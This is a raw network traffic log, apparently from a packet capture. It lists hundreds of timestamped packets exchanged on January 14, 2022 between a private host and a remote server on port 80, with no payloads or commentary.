Jan 14, 2022 20:29:58.691956043 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.691979885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692019939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692033052 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.692059040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692097902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692115068 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.692141056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692178011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692192078 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.692218065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692256927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692270994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.692293882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692332983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692346096 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.692372084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692410946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692426920 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.692452908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692491055 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692506075 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.692529917 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692569971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692584038 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.692606926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692650080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692656994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.692689896 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692730904 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692744970 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.692770958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692807913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692822933 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.692847967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692887068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692899942 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.692924023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692964077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.692977905 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.693002939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693042994 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693054914 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.693099976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693146944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693169117 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.693186998 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693227053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693239927 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.693264008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693304062 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693311930 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.693342924 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693380117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693392992 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.693418980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693458080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693473101 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.693497896 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693537951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693550110 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.693577051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693617105 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693627119 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.693656921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693695068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693707943 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.693734884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693773985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.693788052 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.752337933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.752397060 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.752435923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.752476931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.752490044 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.752516031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.752523899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.752556086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.752572060 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.752597094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.752634048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.752648115 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.752674103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.752712965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.752727032 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.752751112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.752790928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.752804995 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.752830029 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.752870083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.752883911 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.752908945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.752947092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.752980947 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.752985954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753027916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753041983 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.753067017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753108025 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753117085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.753150940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753190994 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753206015 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.753232002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753271103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753284931 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.753310919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753350973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753382921 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.753388882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753432989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753453016 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.753473043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753514051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753531933 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.753556013 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753593922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753609896 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.753633976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753673077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753690958 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.753710985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753750086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753763914 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.753789902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753829956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753844023 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.753916979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753958941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.753981113 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.753998041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754039049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754049063 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.754079103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754120111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754137039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.754163027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754200935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754215956 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.754240990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754280090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754301071 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.754317999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754359007 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754374981 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.754401922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754442930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754486084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754523039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754563093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754584074 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.754591942 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.754602909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754621029 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.754641056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754681110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754699945 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.754720926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754760027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754775047 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.754801035 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754837990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754856110 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.754878044 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754918098 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754933119 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.754955053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.754995108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.755007982 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.755034924 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.755075932 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.755086899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.763052940 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.821388960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.821444988 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.821482897 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.821502924 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.821522951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.821563959 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.821580887 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.821603060 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.821643114 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.821655035 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.821682930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.821722031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.821736097 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.821760893 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.821801901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.821814060 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.821841955 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.821897030 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.821913958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.821954966 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.821993113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822005033 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.822031975 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822072029 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822084904 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.822110891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822154045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822165966 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.822191000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822231054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822242022 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.822271109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822308064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822319031 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.822348118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822386980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822417021 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.822427988 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822469950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822475910 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.822506905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822546005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822552919 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.822586060 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822623968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822630882 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.822663069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822704077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822707891 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.822742939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822782993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822788954 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.822822094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822860956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822868109 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.822901964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822940111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.822952032 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.822978973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823016882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823028088 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.823056936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823096991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823108912 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.823136091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823177099 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823187113 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.823215008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823254108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823263884 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.823292971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823332071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823343039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.823370934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823411942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823416948 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.823448896 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823488951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823499918 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.823529005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823565960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823576927 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.823605061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823645115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823651075 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.823684931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823724031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823734999 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.823761940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823801994 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823805094 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.823841095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823879004 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823885918 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.823919058 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823959112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.823967934 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.823997974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.824038029 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.824043036 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.824074984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.824115038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.824120998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.824157000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.824194908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.824204922 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.824234962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.824279070 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.824280024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.824306011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.824345112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.824357033 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.824383020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.824423075 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.824434042 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.824462891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.824502945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.824507952 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.824548960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.824585915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.824596882 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.824625969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.824685097 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.825983047 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.826018095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.826056957 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.826096058 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.826117039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.826138973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.826172113 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.826179028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.826236963 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.884183884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884207010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884222031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884233952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884252071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884284973 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.884306908 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.884308100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884327888 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884361029 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.884361029 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884387016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884403944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884419918 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884433031 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.884449005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884458065 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.884465933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884491920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884506941 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.884516954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884533882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884543896 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.884551048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884578943 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.884581089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884598970 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884613991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884632111 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.884660006 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.884661913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884679079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884706974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884725094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.884726048 CET	49882	80	192.168.2.4	81.163.30.181
